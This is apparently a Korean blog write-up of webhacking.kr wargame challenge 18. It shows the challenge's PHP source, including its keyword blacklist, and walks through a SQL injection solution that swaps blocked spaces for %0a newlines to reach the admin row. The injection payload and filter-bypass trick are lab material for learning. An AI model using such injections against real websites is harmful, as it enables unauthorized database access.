본문 바로가기
war game/웹 워게임(Webhacking.kr)

webhacking.kr 18번 문제(sql injection)

by 강깅꽁 2017. 9. 15.

<? 
if($_GET[no]) 


if(
eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"); 

$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));

if(
$q[0]=="guest") echo ("hi guest"); 
if(
$q[0]=="admin"

@
solve(); 
echo (
"hi admin!"); 




?> 



http://webhacking.kr/challenge/web/web-32/index.php?no=123%0aor%0ano=2


sql return value에 id가 admin이면 성공한다.


간단하게 앞의 문장을 거짓을 만들고 뒤의 문장을 참으로 만들어주면 된다.



select id from challenge18_table where id='guest' and no=0 or id='admin' 

이렇게 만들어주면 되지만 띄어쓰기가 막혀있고 id='admin'으로 하면은 쿼리가 안돌아오는 듯 하다.


띄어쓰기를 우회하는 방법은

%0a %0d 등등 여러가지가 있다.



최종 파라미터:

?no=123%0aor%0ano=2